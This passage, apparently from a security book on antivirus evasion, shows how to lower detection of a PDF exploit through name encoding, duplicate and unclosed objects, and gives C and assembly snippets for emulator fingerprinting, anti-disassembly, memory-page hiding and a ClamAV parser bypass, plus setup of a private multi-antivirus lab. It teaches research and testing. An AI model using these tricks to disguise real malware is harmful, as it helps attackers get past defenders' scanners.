uses the file with SHA1 hash 88b6a40a8aa0b8a6d515722d9801f8fb7d332482. If
you check its report in VirusTotal (
you will see that it is detected by 25 out of 57 engines.
You will now learn some tricks about the PDF file format in order to try to
minimize the number of existing antivirus products that match their signatures
against this exploit. As expected, this exploit contains JavaScript code. The
objects in the PDF file with JavaScript code are referenced by either the /JS or the
/JavaScript tags. The names JS or JavaScript can be encoded in two ways:
as ASCII notation and hexadecimal notation. For example, you can change the
character "a" with its hexadecimal representation, prefixed with the # character,
so it would be /J#61v#61Script instead of /JavaScript. You can do the same
with the entire JavaScript string.
As another example, you can replace all occurrences of the string /JavaScript
with the new string /#4a#61#76#61#53#63#72#69#70#74, save it, and upload it
again to VirusTotal. The new report file for this change is found here: https:
// file/2d77e38a3ecf9953876244155273658c03dba5aa
From the report on VirusTotal, it seems this approach failed because now
a new antivirus product, Dr.Web—which was not mentioned in the previous
report—has detected it. This happens sometimes: when a trick evades one
antivirus product, it can be caught by a new one. Now go back to the original
PDF file by reverting the changes, and apply a new trick: object confusion. In a
PDF file, an object has the following format:
1 0 obj <</Filter /FlateDecode >>
2 0 obj
Part II ■ Antivirus Software Evasion
This example has object numbers (1 or 2), the revision number (0 in both
examples), and a set of filters applied to the object data between the << and the >>
characters. What follows is a stream tag indicating that anything following it is
the object’s data. Both tags are closed with endstream and endobj, and then a
new object appears. So, what happens if there are objects with repeated numbers
(for example, two objects with the same object number)? The last object is the
one that is really used, and the previous ones are ignored. Are antivirus engines
aware of this feature of the PDF file format? To find out, create a dummy PDF
object with object number 66. You just need to create another fake object with
this same number and revision before the true one. You add the following chunk
of data before the line 66 0 obj appears:
66 0 obj
<</Filter /AsciiHexDecode /FlateDecode /FlateDecode /FlateDecode
/FlateDecode >>
66 0 obj
Once you have added this fake object (with another trick that will also be covered),
you can upload it to VirusTotal to see what happens:
Good! Now, 15 out of 57 engines cannot detect it. This can be either because
they did not know that objects could be repeated or because they failed in the
other trick that was used here. This other trick is that the stream’s data can
be compressed and encoded. In this example, the fake object that was added
is compressed (/FlateDecode) many times and also encoded as a hexadecimal
(/AsciiHexDecode). When this object is decoded and decompressed, it will
consume 256MB of RAM. Now if you apply the previous trick (the hexadecimal
encoding) again, it may work this time:
Chapter 7 ■ Evading Signatures
The detection rate drops to 14 out of 57. It is worth repeating that a trick that
does not work alone may work after some changes and thus manage to bypass
one more antivirus.
Now try again by applying the previous trick and adding a new set of repeated
objects. The object number 70 points to JavaScript code:
70 0 obj
/JS 67 0 R
/S /JavaScript
This object points to another object (/JS 67) with the true JavaScript content.
Now try to fool an antivirus product by creating a new copy of the object 70
before the true object 70, as you did previously:
Again, the number of detections dropped, this time to 13 out of 57. Now try
with a more hard-core trick. Do you remember the objects and streams? The
Adobe Acrobat parser does not require either the objects or the streams to be
closed. Take the object number 66 that was just added, the fake one, and remove
the lines endstream
m and endobj. Observe again with VirusTotal how the results
drop, this time from 13 to 3 detections:
It was a nice trick! And, what is more important is that the functionality
of the embedded exploit did not change at all because you’re only targeting
how the Adobe PDF parser works. It would be different if you were targeting
another PDF reader.
This chapter discussed some approaches that you can use to bypass signaturebased detection in general and for specific file formats. The chapter included
many hands-on examples and walkthroughs on how to evade signature detection for PE, JavaScript, and PDF files.
To recap, the following topics were covered:
Implementing file format parsers is a tedious process. When documentation is not present, hackers rely on reverse-engineering efforts. In both
Part II ■ Antivirus Software Evasion
cases, it is impossible to write a bug-free implementation for a complex
file format.
Evading signature-based detection can be done systematically or haphazardly. When done systematically, you have to answer three questions:
Where are the virus definition files? What is their file format? How is
the signature for a given file encoded in the signature file or files? After
those questions are answered, you can see what pattern the AV looks
for in order to detect the file you want to avoid being detected. You can
then make changes to the files accordingly. Haphazardly evading signatures was covered in the previous chapter. Essentially, you have to keep
modifying the malicious file, without changing how it executes, until it
is no longer detected.
AVs detect many file formats. For each file type to be evaded, you need
to understand the file format to learn how to make evasion modifications.
The PE file format has many embedded structures. Various fields in those
structures are not very important to the operating system, such as the
PE file’s TimeDateStamp field. Some antivirus signatures may rely on
this field and other fields to identify malware. Therefore, modifying these
fields can render a file undetectable.
JavaScript is used for web-based exploits. Because JavaScript is so versatile, the attackers rely on code obfuscation to hide the exploitation logic
and also to evade detection.
PDF files are a universally adopted document format. They can be rendered
seamlessly and independently of the operating system. Under the hood,
the PDF file format specification is big and complex. This is a positive point
for hackers because they have many ways to hide exploits in PDF files
and avoid detection: encoding the embedded JavaScript differently, the
use of redundant stream ids, streams compressed and encoded multiple
times with different encoders and compressors, and so on.
The next chapter covers how to evade scanners rather than signatures.
Evading Scanners
Antivirus scanner evasion is different from antivirus signature evasion in the
sense that you are actually evading the engine instead of signatures for a specific
file format (which was covered in the previous chapter).
An antivirus scanner can be considered the heart of the antivirus support
system. Among many other tasks performed by an AV scanner, it is also responsible for launching generic detections and signatures against the file under
analysis. As such, evading a scanner means evading a whole set of signatures,
the scanning engine, and the detection logic. In this chapter, you discover how
to evade both static scanners (which only focus on files that are on disk) and
dynamic scanners (which focus on the behavior of the program or that perform
memory analysis).
Generic Evasion Tips and Tricks
You can use some general tips and tricks to evade a scanner. For example,
big files are often excluded by many analysis routines. Although this offers
a minor performance improvement, it is important, especially when talking
about desktop antivirus solutions that need to run as fast as possible without
slowing down the system. Because of the imposed file size limit, you can trick
the scanner into skipping a file by changing the file’s size to make it larger than
the hard-coded size limit. This file size limit applies especially with heuristic
Part II ■ Antivirus Software Evasion
engines based on static data (data extracted from the portable executable, or PE,
header). Another tip is that, in general, if a file format cannot be correctly parsed
by the scanner or engine responsible for handling a specific file format (such
as a “malformed” PE file), it will be discarded from any and all PE routines,
but cyclic redundancy check (CRC) signatures may still be applied to the file
(for example, CRCs at some specific offset). Later in this chapter, you will see
examples with various file formats.
Another trick is that instead of trying to make it difficult for the antivirus
engine to parse the file format, you can try to fool one or more of the core’s support functionalities or libraries. The typical core support functionality resides
in the emulator and the disassembler. As far as I know, every antivirus engine,
except ClamAV, contains an emulator for at least Intel 8086 and a disassembler
for Intel x86. Can you attack the disassembler or the emulator to affect or evade
the scanner? Many analysis routines rely on the emulation and disassembling
functionality to gather evidence and behavioral data from malware. If you can
somehow manage to execute invalid instructions in the emulator or if you can
craft valid but unimplemented or incorrectly implemented instructions in the
disassembly engine, you get the same behavior in most AV scanners: no analysis
routine is able to navigate through the disassembly of your file because the core
kernel support functionality is flawed.
The following sections discuss more tricks that you can use to evade scanners.
Fingerprinting Emulators
Fingerprinting emulators is one of the most commonly used evasion techniques.
Malware samples usually become a more likely candidate for emulation when
they contain polymorphic or metamorphic code. Using a static analysis engine
is not enough because writing a complex and foolproof static analysis engine is
too expensive. To identify an emulator in an AV kernel, you can rely on the fact
that the emulator may correctly or fully emulate not a whole operating system
but only the most commonly executed functions. In many cases, you can give
the illusion that all the operating system functions are implemented by creating
stubs for those functions that, very often, return hard-coded values. The following example uses the Comodo antivirus emulator for Linux. If you open the
library (which is full of symbols, something that is very helpful)
in IDA, you will discover functions like the following one:
; PRUint32 __cdecl Emu_OpenMutexW
(void *pVMClass)
public _Z14Emu_OpenMutexWPv
_Z14Emu_OpenMutexWPv proc near
; DATA XREF: .data:kernel32ApiInf
pVMClass = rdi
; void *
.text:000000000018B93A mov
eax, 0BBBBh
Chapter 8 ■ Evading Scanners
.text:000000000018B93F retn
_Z14Emu_OpenMutexWPv endp
This is the code corresponding to the emulated kernel32’s function OpenMutexW.
This function always returns the magic value 0xBBBB. The chances of OpenMutexW
returning this value are very low. The chances of a call to this function returning
the same value twice are negligible, unless you are inside the Comodo matrix.
You can implement some C code to fingerprint the Comodo emulator:
void is_comodo_matrix(void)
HANDLE ret = OpenMutex(0, false, NULL);
if ( ret == MAGIC_MUTEX &&
OpenMutex(NULL, false, NULL) == MAGIC_MUTEX )
MessageBox(0, "Hi Comodo antivirus!", "Comodo's Matrix", 0);
// Do real stuff here...
You can use a set of tricks like this one to ensure that you are executing code
inside the Comodo emulator. As another example, look at the emulated function Emu_ConnectNamedPipe corresponding to kernel32!ConnectNamedPipe:
.text:000000000018B8E8 ; PRUint32 __cdecl Emu_ConnectNamedPipe
(void *pVMClass)
public _Z20Emu_ConnectNamedPipePv
.text:000000000018B8E8 _Z20Emu_ConnectNamedPipePv proc near
; DATA XREF: .data:kernel32ApiInf
.text:000000000018B8E8 pVMClass = rdi
; void *
eax, 1
.text:000000000018B8ED _Z20Emu_ConnectNamedPipePv endp
This stub always returns true (the value 1). You can now test for the presence
of the emulator by calling the kernel32!ConnectNamedPipe function with
parameters that you know should cause it to fail. In the case of the emulator,
this function will always succeed, and to you this is the emulation indicator.
However, this anti-emulation technique is not specific to the Comodo antivirus. Generic tricks are usually better because they can be used on many
products. However, there are various reasons an attacker would want to fi ngerprint just one emulator: the attacker may be interested in bypassing the
antivirus products of its target or may want to target one specific antivirus
Part II ■ Antivirus Software Evasion
product to exploit a vulnerability. If you have, for example, a vulnerability in
the Comodo antivirus engine when scanning some file format, you can use
the emulator to try to fi ngerprint the Comodo antivirus and then unpack the
specific file or buffer that will exploit the Comodo vulnerability while hiding
this logic from other antivirus products for which the exploit does not work
or does not apply.
Advanced Evasion Tricks
In this section, you learn some tricks that can be used to evade many antivirus
scanners. Most of the tricks are generic and still work today. However, once
these tricks are exposed, they are patched quickly.
Taking Advantage of File Format Weaknesses
Chapter 7 discusses how to bypass signatures applied to some file formats such
as portable executable (PE) or PDF. However, as I shall explain in the following
paragraph, you can bypass the whole PE parsing module for any PE file using
a more sophisticated method than bypassing just a single signature for a file or
group of files. The following example uses the PE parser module of ClamAV.
The libclamscan/pe.c file in the int cli_scanpe(cli_ctx *ctx) routine
includes the following code:
nsections = EC16(file_hdr.NumberOfSections);
if(nsections < 1 || nsections > 96) {
pe_add_heuristic_property(ctx, "BadNumberOfSections");
return CL_VIRUS;
if(!ctx->corrupted_input) {
cli_warnmsg("PE file contains %d sections\n", nsections);
cli_warnmsg("PE file contains no sections\n");
return CL_CLEAN;
cli_dbgmsg("NumberOfSections: %d\n", nsections);
This code fragment shows that the number of sections in the PE file under
analysis is checked: if the file has no sections or the number of sections is
Chapter 8 ■ Evading Scanners
higher than 96, the PE is considered broken. The detection "Heuristics.Broken
.Executable" is usually disabled (because of the DETECT_BROKEN_PE C preprocessor define). Therefore, the ClamAV scanner returns CL_CLEAN for a PE file
with no sections at all or more than 96 sections. This behavior is wrong. Until
Windows XP, it was not possible to execute a PE file with more than 96 sections,
but since Windows Vista, it is possible to execute PE files with up to 65,535 sections. Also, a PE file does not require sections at all: with low-alignment PE files,
the NumberOfSections value from the IMAGE_FILE_HEADER can be NULL. This
trick (extracted from the Corkami project page about PE tricks) can be used to
evade all ClamAV routines specific to PE files, as these checks are made before
actually launching any unpacking or detection routine.
Using Anti-emulation Techniques
Anti-emulation techniques are techniques that fool the emulator or emulators
of one or more antivirus products. Many emulators exist, not only for Intel
x86 but also for JavaScript interpreters, Intel x86_64, .NET, ARM, and so on.
Fingerprinting an emulator, as in the example in the previous section, is an
anti-emulation trick. This section lists various anti-emulation tricks that are
generic for Windows PE files, for any x86-based program, and for the Adobe
Acrobat JavaScript interpreter implemented as support for dynamic PDF files.
Implementing API Emulations
The most common anti-emulation technique is the use of undocumented APIs
or of uncommon ones such as SetErrorMode:
DWORD dwCode = 1024;
if (SetErrorMode(0) != 1024)
printf("Hi emulator!\n");
This code calls SetErrorMode with a known value (1024) and then calls it again
with another value. The returned value must be the one passed by the previous call. An emulator implementing this function as only a stub will behave
incorrectly and give itself away. This is a generic anti-emulation technique that
worked for a long time in many emulators, such as Norman SandBox.
Another typical trick is to use incorrectly implemented API emulation functions. For instance, passing a NULL value as a parameter to a certain API triggers
an access violation exception in a non-emulated environment. On the other
hand, the same input may result in the called API returning 0 to indicate failure.
Another trick is to try loading a vital library for the operating system, which
Part II ■ Antivirus Software Evasion
is not supported by the emulator, and then calling an exported function. Just
trying to load the library will fail in almost any emulator:
int test6(void)
hProc = LoadLibrary("ntoskrnl.exe");
if (hProc == NULL)
The code in this example is trying to load the NT kernel, a vital component of
the Windows operating system. However, an emulator that is not sophisticated
enough will fail at loading this file because it is not a typical user-mode component. If the targeted emulator allows the loading of any library that returns
a pseudo handle, here is a complex way to determine if functions in this library
behave as expected:
struct data1
int a1;
int a2;
struct data2
int a1;
int a2;
int a3;
int a4;
int a5;
int a6;
struct data1 *a7;
typedef int (WINAPI *FCcSetReadAheadGranularity)(struct data2 *a1,
int num);
typedef int (WINAPI *FIofCallDriver)();
int test8(void)
FIofCallDriver pIofCallDriver;
hProc = LoadLibrary("ntkrnlpa.exe");
Chapter 8 ■ Evading Scanners
if (hProc == NULL)
return 0;
pIofCallDriver = (FIofCallDriver)GetProcAddress(hProc,"IofCallDriver");
pIofCallDriver -= 2; // At this point there are 2 0xCC characters,
//so an INT3 should be raised
The example above loads the ntkrnlpa.exe binary, gets the address of the
function IofCallDriver, and then jumps 2 bytes before this function. In a
regular, non-emulated, Windows operating system environment, this code
would fall in a memory area containing the 0xCC alignment bytes, which are
disassembled as the INT 3 instruction. Issuing the function call results in a
breakpoint exception in a real environment. On the other hand, no exception
is generated in the emulated environment.
Here is another example:
int test9(void)
FCcSetReadAheadGranularity CcSetReadAheadGranularity;
struct data1 s1;
struct data2 s2;
int ret;
hProc = LoadLibrary("ntkrnlpa.exe");
if (hProc == NULL)
return 0;
CcSetReadAheadGranularity = (FCcSetReadAheadGranularity)GetProcAddress(
hProc, "CcSetReadAheadGranularity");
if (CcSetReadAheadGranularity == NULL)
return 0;
s1.a2 = 0;
Part II ■ Antivirus Software Evasion
s2.a7 = &s1;
// After this call, ret must be 0x666, the given 2nd argument
// minus 1
ret = CcSetReadAheadGranularity(&s2, 0x667);
if (ret != 0x666)
This code above calls a function that receives a structure (the one called data1)
and a value (0x667 in this case). Because of the nature of this function, the value
passed in the second argument will be decremented by one and returned from
this call. An emulator implementing this function as a stub will simply return
either 0 or 1, thus making it trivial to detect that we’re running in the matrix.
Taking Advantage of Old Features
In the (good?) old days of MS-DOS and Windows 9x, the AUX, CON, and other
special device names were used to read data from the keyboard, change terminal
colors, and so on. This behavior still works in real Microsoft Windows operating
systems but not in emulators. The following is a simple example:
FILE *f;
f = fopen("c:\\con", "r");
if (f == NULL)
This code tries to open the c:\con device. It works in any Windows operating
system from Windows 95 to Windows 8.1 (at least) but fails under an emulator
that does not consider this feature. All in all, this trick only works in recent
emulators: any antivirus emulator that comes from the days when Windows
9X was supported will have support for this and other old features because, as
a rule, no code is dropped from antivirus engines.
Emulating CPU Instructions
Correctly emulating a complete CPU is very difficult and is the most error-prone
area to look for incongruences. Norman SandBox used to work poorly in this
sense: the emulator used to fail with instructions such as ICEBP or UD2, and it
also used to allow, for example, changes in the debug registers via privileged
instructions from a userland program (which is completely forbidden). The
following example demonstrates this:
Chapter 8 ■ Evading Scanners
int test1(void)
mov eax, 1
mov dr0, eax
This code tries to change the DR0 Intel x86 register, a debug register that is
not allowed to be modified from a userland program. Here is another trick:
int test2(void)
mov eax, 1
mov cr0, eax
This code tries to change another privileged register, CR0. (Norman SandBox
allowed this for a long time.) Here is another trick:
int test3(void)
__asm int 4 // aka INTO, interrupt on overflow
Part II ■ Antivirus Software Evasion
Norman SandBox used to fail with the INTO instruction (Interrupt 4 if overflow flag is 1) by simply using it. It also used to fail with the UD2 (Undefined
Instruction) and the undocumented (but widely known) ICEBP instruction (ICE
/** Norman Sandbox stopped execution at this point :( */
int test4(void)
__asm ud2
/** Norman Sandbox stopped execution at this point :( */
int test5(void)
// icebp
__asm _emit 0xf1
You can uncover a huge number of tricks just by researching the Intel x86
documentation. For example, the tricks in this section were discovered during
two days of research.
Using Anti-disassembling Techniques
Anti-disassembling is a technique that tries to disrupt or fool disassemblers.
Today’s Intel x86 and AMD x86_64 CPUs support a long list of instruction
sets, not just 8086 (base instructions) and 8087 (FPU instructions) as it used
Chapter 8 ■ Evading Scanners
to many years ago. Today, instruction sets include SSE, SSE2, SSE3, SSE4,
SSE5, 3DNow!, MMX, VMX, AVX, XOP, FMA, and a long list of other, very
complex and partially or completely undocumented ones. Most disassemblers deal with the basic instruction sets, while others try to cover as many
instruction sets as possible. However, it is unlikely that a disassembler will
cover any and all instructions sets, although there are projects that aim to
do so, with great results (such as the Capstone disassembler, created by
Dr. Nguyen Anh Quynh).
The disassemblers used in antivirus products are usually either implemented
by them, as in the case of Kaspersky or Panda, or just old versions of the diStorm
disassembler created by Gil Dabah, which was licensed as Berkeley Software
Distribution (BSD). In the case of antivirus-specific disassemblers, you would
need to analyze the disassembler manually or interact with it to determine
which instructions cause it to fail. The following example instruction used for
anti-disassembling was discovered by an antivirus programmer:
f30f1f90909090. rep nop [eax+0x66909090]
A typical Intel x86 NOP (no operation) instruction is encoded as 0x90. However,
there are many other types of NOPs, such as the one shown here. This is a NOP
instruction with a REP prefix (F3). The NOP instruction references the memory
address [EAX+0X66909090]. It does not matter if the referenced address is
valid because the instruction is not going to crash. However, some AV disassemblers fail at disassembling this instruction because it is a very uncommon
one. Indeed, this instruction only appears to exist in some variants of the
Sality file infector.
Because many types of antivirus software use the diStorm disassembler
library, you need to get an old version of it and write your test cases locally
to determine what is and what is not supported by diStorm. The old BSD
version is simply unable to support many instruction sets, such as the AVX
or VMX. You can use a minimal subset of any of the unsupported instruction
sets, taking care that it will not disrupt the normal execution of your executable program or shellcode, and that’s about it! This alone lets you evade any
and all generic routines that use the disassembling engine, which will fail
because it cannot correctly disassemble such instructions. In addition, instructions can be encoded in many different ways or may not be well documented
because the Intel x86 manual is, at best, partial when it is not wrong. The
following example instructions are completely valid but poorly documented.
Old versions of diStorm, as well as other free disassemblers such as udisx86
(with the only exception being Capstone), cannot disassemble the following
instructions correctly:
0F 20 00: MOV EAX, CR0
0F 20 40: MOV EAX, CR0
0F 20 80: MOV EAX, CR0
Part II ■ Antivirus Software Evasion
0F 21 00: MOV EAX, DR0
0F 21 40: MOV EAX, DR0
0F 21 80: MOV EAX, DR0
Although they are all privileged instructions, you can use them to cause an
exception and then handle the exception in a structured exception handler.
Disrupting Code Analyzers through Anti-analysis
Another common trick is to use anti-analysis techniques. This trick is meant to
disrupt a code analyzer, such as the ones used to discover basic blocks and functions,
for Intel x86 code. Such techniques typically involve opaque predicates and junk
code that jumps in the middle of one x86 or x86_64 instruction. This will become
clearer as you analyze this sample with SHA1 405950e1d93073134bce2660a70b
5ec0cfb39eab. In the assembly code shown in Figure 8-1, IDA disassembler did
not discover a function at the entry point and only discovered two basic blocks.
Figure 8-1: FlyStudio malware disassembled code
Most of the program’s code was not disassembled by IDA. Why? Take a closer
look: at the entry point, 0x45402C, it unconditionally jumps to the instruction
0x454031. Then, it executes the instructions PUSHA
A and CLC, and then there is a
conditional jump (JNB, Jump if Not Below). However, the conditional jump is
not a common one, as it jumps in the middle of a predefined location: 0x45403A
+ 2. What is this? It is, effectively, an opaque predicate with a jump from the
false branch of the conditional jump to the middle of the right instruction. IDA
cannot determine statically which one of the two possible branches for the
JNB instruction the program will jump, and so IDA tries to disassemble both.
However, only one of the branches is going to be taken, and so the malware writer
decided to put a jump to the middle of the instruction that will be executed to
disrupt the IDA program’s auto-analysis, as well as other code analysis engines
implemented in antivirus products. IDA allows you to manually fix the disassembly listing so it shows the right listing, as shown in Figure 8-2.
Chapter 8 ■ Evading Scanners
Figure 8-2: IDA showing more disassembling from the FlyStudio malware
IDA discovers more code after these changes! You can even select the instructions from the “start” entry point to the JNB conditional jump. Press P, and IDA
creates a function for you (see Figure 8-3).
Figure 8-3: A partial function from FlyStudio
Part II ■ Antivirus Software Evasion
However, the function looks odd: there are only four basic blocks, no false
branch is taken anywhere, and what looks like bad instructions appear at the
last basic block. This is caused by yet another opaque predicate with a jump
to the middle of a real instruction. Did you see the JP instruction jumping to
0x4540BD + 1? This is exactly the same trick that was used previously. If you
fix this opaque predicate in IDA, along with the other appearances of opaque
predicates with conditional jumps to the middle of instructions, you will eventually discover the true flow graph of the function, as shown in Figure 8-4.
Figure 8-4: The main function’s flow graph in FlyStudio
This correct flow graph can be used to extract information from the basic
blocks and the relationships among them to create a graph-based signature.
Opaque predicates with jumps into instructions break the code analysis of
an insufficiently sophisticated static analyzer, and it becomes impossible for a
code analysis engine such as IDA, or one from an antivirus product, to extract
the correct information. For this reason, using such a trick, you can fool code
analysis engines and bypass all routines using the information extracted from
the flow graph or the call graph, because the control flow graph information
gathered by the antivirus is incomplete. In other cases, generic detection routines try to iterate through instructions, until it finds some specific evidence
and fails to discover the true code branches due to the opaque predicates and
anti-disassembling techniques used.
Chapter 8 ■ Evading Scanners
More Anti-Anti-Anti…
There are many other “anti-” tricks that you can use in your programs to disrupt
correct analysis and bypass antivirus engines. The following sections list some
of the most interesting tricks for evasion of antivirus products.
Anti-attaching techniques are used to prevent a debugger from being attached
to your current process. Some antivirus products actually attach to processes
to read memory from them and match malware signatures as well as generic
routines against their memory pages. Some of the most interesting tricks for
anti-attaching were recently discovered and published by the reverse-engineer
Walied Assar. Here is an example: in Windows, for a debugger to attach itself
to a process, the debugger needs to create a remote thread in the process. The
operating system loader calls a Thread Local Storage (TLS) callback each time
a thread is created. This means, for example, that you can create a TLS callback
that increments a global variable. If the value of this global variable is bigger
than the pre-defined number of threads that are to be used in your program,
you can deduce that a remote thread was created in the process. You can then
terminate the program so the debugger (in this case, the antivirus product)
cannot continue analysis. A more detailed explanation of this technique is
available at
More anti-attaching techniques researched by Walied Assar are available on
his blog, at
Skipping Memory Pages
The antivirus engines that do not attach to processes in order to read their process memory (which are the majority, because attaching to a process is a very
intrusive method) typically follow these steps:
1. Issue a call to OpenProcess.
2. Issue various calls to VirtualQuery to determine the memory pages.
3. Read the first bytes in these pages using ReadProcessMemory.
However, an antivirus engine, especially a desktop one, cannot read all the
bytes from all the pages in an executable for performance reasons. For example,
a single instance of Microsoft Notepad running in Windows 7 x86 will include
all the memory segments of the DLLs attached by the system (ntdll, kernel32,
advapi, gdi32, and so on); all the program’s memory segments (the code section, the data section, and so on); and all the memory segments created by the
actual application (stack, heap, and virtual memory). This will total around 222
distinct memory pages. As such, antivirus engines implement various methods
Part II ■ Antivirus Software Evasion
to discard and diminish the number of scanned pages. Most scanners skip big
pages or simply analyze the first bytes of each page. For this reason, you can
hide your code and strings in your created memory pages by simply moving
them up a few kilobytes (or even megabytes) after the start of the page. The
antivirus employing such techniques will only read a few kilobytes (typically,
1024 KB, 1 MB) and will miss your actual data and code.
Another trick capitalizes on the fact that antiviruses typically focus only on
memory pages marked as RWX or RX. Therefore, you can have your code in
various pages and make the code readable only (RO); thus when an attempt is
made to execute code at those pages, an exception is raised. During that exception handling, you temporarily change the page protection to RX, resume execution, and then lock the page again (set the page’s attributes back to RO). This
is just one of the many tricks that can be employed to fool an antivirus engine
performing memory analysis from userland. An antivirus engine performing
memory analysis from kernel-land, however, is harder to fool (although the very
last trick should work in some cases).
Causing File Format Confusion
Confusing file formats is another trick that can be used to bypass a number
of antivirus detections specific to a file format. For example, consider a PDF
file. How does Adobe Acrobat Reader determine if a file is a PDF? While it
depends on the version of the product, a general rule is that anything that has
the %PDF-1.X magic string somewhere in the first 256 bytes is considered a PDF.
Therefore, you can create valid PDF files with exploits that are inside other valid
file formats. For example, you can create PE files that are valid PDF exploits or
valid ZIP files, valid JPG files, and so on.
N O T E If you are interested in polyglot file formats, take a look at the polyglot web
page in the Corkami wiki. There are various example polyglots, including a PDF file that
is also a valid HTML file with JavaScript, as well as a valid Windows PE executable. You
can find the web page at
Automating Evasion of Scanners
Sometimes, mainly when doing penetration testing, you need to evade one or
more antivirus scanners that are used in the targeted organization. There are
tools that aim to help in antivirus evasion, like the Veil Framework, but you
need to use publicly available services like the great VirusTotal for testing if
your payload is going to be detected. Using VirusTotal can be a bad idea if the
Chapter 8 ■ Evading Scanners
payloads are meant to be used for a long time, and the reason is easy: once you
upload a file to VirusTotal, it’s available to the whole antivirus industry. This is
very good in general, but if you want to keep your payloads private to ensure
they evade antivirus products you typically work, you need to use a private
VirusTotal-like tool. The first part of this section deals with how to create your
own private multi-antivirus product. The second part covers how to use it to
create an automated tool to evade antivirus detection.
Initial Steps
In this section we show how to write a simple antivirus evasion tool. We explain
every single step that is required except operating system installation. You will
need the following components:
Virtual machine software—We use VirtualBox in this example.
A Linux operating system—We use Ubuntu Desktop 14.
A tool that is capable of scanning a file or directory using multiple AV
scanners—MultiAV, an open-source software, is such a tool. You can
download it from, written
entirely in Python.
A set of various antivirus products—We use various for which there
is a Linux version (or we can run them with Wine) and a “free” license.
A toolkit or base library for antivirus evasion—Although you can use
the Veil Framework, which is considered more complete, we’re going
to use the script, a tool to evade detection of PE files written
entirely in Python.
First of all, you need to create a 32bit virtual machine and install Ubuntu
Desktop on it. Installing an operating system is out of the scope of this book,
so we will skip until the installation of the MultiAV; just be sure to install the
Guest Additions to make things easier and to configure the network card as
Bridged, so you can connect to TCP listening services inside the Virtual Machine.
Assuming the virtual machine with Ubuntu Linux and the Guest Additions is
installed, you continue by installing git to download the MultiAV’s source code:
$ sudo apt-get install git
Once you have installed the GIT tools, download the source code of the
MultiAV by issuing the following command:
$ cd $HOME
$ git clone
You have the source code of the MultiAV, but no antivirus product installed
yet. This is what you do next.
Part II ■ Antivirus Software Evasion
Installing ClamAV
You need to install the first antivirus products. Start by installing the easier one:
ClamAV. You will need to install the daemon version and the Python bindings.
You also need to get the latest signatures and start the ClamAV’s daemon:
$ sudo apt-get install python-pyclamd clamav-daemon
$ sudo freshclam # download the latest signatures
$ sudo /etc/init.d/clamav-daemon start # start the daemon
If everything goes well, you will have the ClamAV antivirus running, as well
as the Python bindings required by the MultiAV. To test the scanner, issue the
following command:
$ mkdir malware
$ cd malware
$ wget
$ clamdscan
/home/joxean/malware/ Eicar-Test-Signature FOUND
----------- SCAN SUMMARY ----------Infected files: 1
Time: 0.068 sec (0 m 0 s)
In order to test the Python bindings, simply execute the following Python
command to verify that there are no errors:
$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:38)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pyclamd
The next step is to install a few more antivirus products. We use the following ones:
Avast for Linux—We use the 30-days trial version.
AVG for Linux—This is a free edition for home users.
F-Prot for Linux—This version is free for home users.
Comodo for Linux—There is a free version available.
Zoner Antivirus for Linux—All products are free as of this writing.
Installing Avast
The product Avast Core Security for Linux can be installed by requesting a trial
version from
Chapter 8 ■ Evading Scanners
A valid email account is required. Once you have the license key, the Ubuntu
repositories and the GPG key in the mailbox used for requesting the trial issue
the following commands to install the product:
# echo "deb debian release" >>
# apt-key add /path/to/avast.gpg
# apt-get update
# apt-get install Avast
After running the previous commands, copy the attached license file to the
/etc/avast directory, the file is named license.avastlic. It will be valid for
30 days, more than what you need to create a basic testing MultiAV. In order to
test that it’s running, execute the following commands:
$ sudo /etc/init.d/avast start
$ mkdir malware
$ cd malware
$ wget
$ scan
EICAR Test-NOT virus!!!
Installing AVG
Let’s continue with the next antivirus. You need to download it from
Scroll down until you find the i386 .DEB package file. At the time of writing
these lines, it was the following one:
After downloading the DEB package file, install it by issuing the following
$ sudo dpkg -i avg2013flx-r3118-a6926.i386.deb
The installation consists exclusively in running the previous command. Now,
scan the testing file to verify that the installation was successful:
$ avgscan /home/joxean/malware/
AVG command line Anti-Virus scanner
Copyright (c) 2013 AVG Technologies CZ
Virus database version: 3657/6926
Virus database release date: Mon, 16 Dec 2013 22:19:00 +0100
Part II ■ Antivirus Software Evasion
Files scanned
Infections found
PUPs found
Files healed
Warnings reported
Errors reported
Virus identified EICAR_Test
All right, it’s working! Time to install more engines: F-Prot, Comodo, and Zoner.
Installing F-Prot
The installation of F-Prot for Linux consists, basically, of downloading the
GZip-ed tar file available at
After you have downloaded the package file, unpack it by issuing the following command:
$ tar -xzvf fp-Linux.x86.32-ws.tar.gz
Then, enter into the directory f-prot created and execute the following
$ sudo perl
Follow the installer steps by accepting all the default answers. After a while,
you have the latest version of the F-Prot antivirus signatures, as well as the
antivirus software, installed. You can verify it’s running properly by issuing
the following command:
$ fpscan -r /home/joxean/malware/
F-PROT Antivirus CLS version, 32bit (built: 2012-03-27T1234-14)
FRISK Software International (C) Copyright 1989-2011
Engine version:
-r /home/joxean/malware/
Virus signatures: 201506020213
[Found virus] <EICAR_Test_File (exact)>
Files: 1
Chapter 8 ■ Evading Scanners
Skipped files: 0
MBR/boot sectors checked: 0
Objects scanned: 1
Infected objects: 1
Infected files: 1
Files with errors: 0
Disinfected: 0
Running time: 00:01
Installing Comodo
The Comodo antivirus for Linux is available for download at https://www
Just click on the big Download Now button and, in the next web page, select
Ubuntu, 32bit and click Download. At the time of writing, the following file will
be downloaded: cav-linux_1.1.268025-1_i386.deb. This a Debian package
file. You can install the software, as you did with AVG, by issuing the following command:
$ sudo dpkg -i cav-linux_1.1.268025-1_i386.deb
After installation, it will tell you that a command to configure Comodo must
be executed as root. You need to run the following command:
$ sudo /opt/COMODO/
Accept the license and accept the defaults for the answers it will make. After
this, update the signatures by running the following command:
$ /opt/COMODO/cav
The GUI tells you that the signatures were never updated. Click the Never
Updated link to start downloading the latest signatures. When all the signatures are downloaded, you can test the antivirus is working by executing the
next command:
$ /opt/COMODO/cmdscan -v -s /home/joxean/malware/
-----== Scan Start ==----/home/joxean/malware/ ---> Found Virus, Malware Name is
-----== Scan End ==----Number of Scanned Files: 1
Number of Found Viruses: 1
The command line scanner, cmdscan, that ships with Comodo is a bit limited.
Chapter 2 showed you how to create your own version of cmdscan (an improved
version of the Comodo command line) with the aim for interoperability with the
MultiAV. We will be making use of this improved utility with MultiAV later on.
Part II ■ Antivirus Software Evasion
Installing Zoner Antivirus
It’s time to install the last antivirus for this multi-antivirus evasion tool: Zoner
Antivirus. The Linux version can be downloaded from
